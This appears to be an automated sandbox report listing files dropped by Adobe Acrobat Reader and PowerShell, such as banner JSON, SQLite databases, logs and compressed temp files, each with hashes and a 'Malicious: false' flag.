Preview:	{"analyticsData":{"responseGUID":"e9f640b9-1d5d-4397-bbb2-bbaac792bef7","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735262871,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.664011974337104
Encrypted:	false
SSDEEP:	24:Yv6XrYUamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS+:Yv6BgkDMUJUAh8cvM+
MD5:	57DEB4AB17FB9DE3C468162C044B4A63
SHA1:	6650D5639D868111C65D2CFAB314D3398DA24C9C
SHA-256:	ABFBE16F964B5B9506438B419F26D2AE8DD7491C4E25FB06A26D4C1549981968
SHA-512:	DF5FBDA771614E271F7EEB1CB28C78FBB77A29BE88E27108E51CC7C9B7D2D8D9C74B1C5F54E8A4A5B9B5D44BDE9E08AEC8C210DDDEDFD275338AC509F82B47BD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9f640b9-1d5d-4397-bbb2-bbaac792bef7","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735262871,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.275073161419001
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhosznZiQ0YMeoAvJfshHHrPeUkwRe9:YvXKXrzc7GUUUkee9
MD5:	D174E61BED00830CD8B768AA790919AD
SHA1:	53B02BBA21638EF442434E7AB1DAAB25AE08CA1D
SHA-256:	4921E442C610D6F0203C038A0212A745B0254A9FF3B012E1A14C2F2B29CE9C1D
SHA-512:	33C35BD0911865600D50FF33D1E906EABC5BC3E9B4ED75CFAC6DF2A910C71F203A4032EE902164F86660BFAE67F8F214495E3254D9BA8A54D7CE988315C1B4B9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9f640b9-1d5d-4397-bbb2-bbaac792bef7","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735262871,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.281558288230965
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhosznZiQ0YMeoAvJTqgFCrPeUkwRe9:YvXKXrzc7GTq16Ukee9
MD5:	50274285FD295F30415F7871F28E8090
SHA1:	930CFC6A0D1618675E0997B32CFF311286A38CD2
SHA-256:	16B15832366690F0124FB50C65722E112A27DAE6CC5EF424E2CC9B821DA9515F
SHA-512:	F5F68E4F189AA8CF7D1D8B7EC3E7F1D1121316FE9F55BC435E51B2DF9E21752D75923C50CFAB1B2BC144B1ED1D7845BC420EE3E3D3128C882E0A8920DC883C4B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9f640b9-1d5d-4397-bbb2-bbaac792bef7","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735262871,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.139348027191044
Encrypted:	false
SSDEEP:	24:Y4GlaWxMaysviBDQpwTbaxtzgjjwdQj0S1JX9wV2S2LSvCZxWPE863r5UGR9H48b:Y4s5C0pwSf8wUeHxIWPE5bOGR9Y8AU
MD5:	6223D4D00563EC06BC07A0F483F1EF18
SHA1:	CDB907DE2D7E7A10FD0BC7C5698DFB8828571AFA
SHA-256:	9B773D50CA29C1C08A0AEA3C42F9705E236268B8DF409DA3800FBC4F419706AE
SHA-512:	798C5B789DAECDBE73012805518489040929B02144D9168798887D9EF0E7924269984762555181F859D5270595F3667A6D7825550368865EB0D7BB5B8C57469B
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"0dc6fe1935336bea89ab9a62d5c08e13","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736556807000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"d6163b38c5bf644e68c8bc1a648e46ed","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736556807000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"277cab557ac795991f3e43291085ce20","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736556807000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"9f6f0e677b5fd61fb221ef4114d09dd1","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736556807000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"507ce77ef9daa317a1e235fb786c8cf3","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736556807000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"29b52da93f242a1768d522254c5ecb63","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1452422614808655
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7urs1uRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcD:TFl2GL7msqXc+XcGNFlRYIX2v3kj
MD5:	CD5288F1DC9CB434ADFDA216ECF5D44C
SHA1:	F6977B912E4855C88E363DDF14FBB3225D76A070
SHA-256:	3FF82D9C502352FC4B27A14BF59C4BBD4D26026AD59D98C386C1B370629714CC
SHA-512:	0DC835F2FD8ADDCEBC5CD860CE103ABF80E3C938937505B23FA6AEFBC97052D2001FB43588E3278B74C527B437F9B46CDB88604FC85363344DFD17E5D9AFCCBC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5502849220620227
Encrypted:	false
SSDEEP:	24:7+t6uUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLux9qLxx/XYKX:7MKXc+XcGNFlRYIX2vwqVl2GL7msv
MD5:	3477FED8058B4245DEC60700EF2CBF74
SHA1:	D96245FA2E605B442B3501931889F39CA620C665
SHA-256:	BB4886674063FF47DF68E5E0663046DA5DB22DF06FDA5DA73A0E7A9888A1ED6F
SHA-512:	26B85D6656C611C4791E0CDCD20C5EEBC35FADB18C92B1C52A6060314BE634DC580194CB519E9DAF7D08050075DDD65E950C6BDB4F0EF6829BF8C2E68441E6DD
Malicious:	false
Preview:	.... .c.....+.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgPuh3MuQD5GNrwon7VG8yXMuvYyu:6a6TZ44ADEdQNrhhBy8uvK
MD5:	1C8D14C7C11ED1286A2E993EC7712E2B
SHA1:	E2428D0E46F08B4F357CE1FA6DC7AC5E10E79FFA
SHA-256:	AFF23832D215C62FABD1484942D5D09B5353A0643FB0571023AED09C379DDDE8
SHA-512:	B1401FD6F3141A55C21AE2D74AE8B6E94DEA57F70168B6F9F68447A519D2C7D8750ACC00255DDE3685C75A139EA45B7D398969D1170AD21D51A72CB4F2DBE29D
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI77064.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.524398495091119
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEyP:Qw946cPbiOxDlbYnuRK+bDyP
MD5:	74978D7D17D515F7C1B6F72D8A92D4B0
SHA1:	DD4124DBC3AB6405B42B28AD104EC45F8BFC8EF1
SHA-256:	645F2B27F49900B72FC9F5EFDCEF4ECD1A00A146014C1E340A384E39BAD823AF
SHA-512:	D8DE4497EE8D895E53B1751E804DECD013EC05D6919F8B5BC182494B7414FEB36B8F232A080BE5A2CA9951F37AAC82BAE3A918DF07B005769A28FBACA8478C88
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.9.:.5.3.:.2.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0k2zjh3c.4dg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4jbpv4rv.pwl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 19-53-22-722.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (392), with CRLF line terminators
Category:	dropped
Size (bytes):	15090
Entropy (8bit):	5.377033125976317
Encrypted:	false
SSDEEP:	384:O/rqjHGqhtG+XVR+QjlCNbyzr03afEkODU6ewI4N2ainVaWDzEDUd6dQK0CPcRJO:l/w
MD5:	59A76788A131DA19EBA33122059A1EC3
SHA1:	0E9928BC0AA61E82078E4E9907712710CAB8EEFF
SHA-256:	13E18DAC10FD4979FC85E486BF1CEE94020B6B792B065FF112A8DCA7AE5ECCBD
SHA-512:	AA0DBB9D04AD7F51E2528B7CA563DC77288C18E38EF71CECAB9E4DF8E418260D6C22C3A7BCD0207B2BC986BEB12C28DA38A9B14392D513698692B299E843BE8A
Malicious:	false
Preview:	SessionID=5072db85-c787-4296-82fb-922f44fd9f2c.1736556802744 Timestamp=2025-01-10T19:53:22:744-0500 ThreadID=7408 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=5072db85-c787-4296-82fb-922f44fd9f2c.1736556802744 Timestamp=2025-01-10T19:53:22:745-0500 ThreadID=7408 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=5072db85-c787-4296-82fb-922f44fd9f2c.1736556802744 Timestamp=2025-01-10T19:53:22:745-0500 ThreadID=7408 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=5072db85-c787-4296-82fb-922f44fd9f2c.1736556802744 Timestamp=2025-01-10T19:53:22:745-0500 ThreadID=7408 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=5072db85-c787-4296-82fb-922f44fd9f2c.1736556802744 Timestamp=2025-01-10T19:53:22:745-0500 ThreadID=7408 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.394955170078296
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbI4cb6Icocbl:V3fOCIdJDeexcL
MD5:	49151F2F6BA26D171780A31568AD26FA
SHA1:	66C830F25FCEF3938E1C0A0D7C20EB33EF399051
SHA-256:	04CA578BFCFD56095CD3B550B76C035DF5614F13804199B821841ECD0FC41E47
SHA-512:	E5FD34A5CF907E0CE82B83BB8BA01E0829466110B7E8B38E42FFD3985B38C3B9620E81F7CF5310DEF71ED1F6958DB44892A9067F644029B58A8324B0F6A4C32B
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0cfe311c-89ad-438c-82a8-b40f827d9746.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/VxWL07oXGZIeYIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:txWLxXGZIeZGh3mlind9i4ufFXpAXkru
MD5:	0F358F16BAE410EEF2BCE346993AAF5B
SHA1:	B516E557DD59FFC4D930C20CB07806273D11F7AA
SHA-256:	CF03A8705A7D38C62146C95792C58B6E26F8320CA23AE8A300FC1A2E399F760E
SHA-512:	05FED8A7FADCB530BAAC129DB012325F13D72C9E17DCA75B7F5CB72660D86F511E60333AE0220C3F39AEBA3583A9D84A9B1A5C1D6021877FF05053832017B107
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\4029f36e-6be0-40c3-a04a-8bd5e73bc295.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\4e161d69-2379-4154-a460-ea439d89ed73.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\eb7d28e6-d403-44fd-af3f-f147b5b9a3c3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
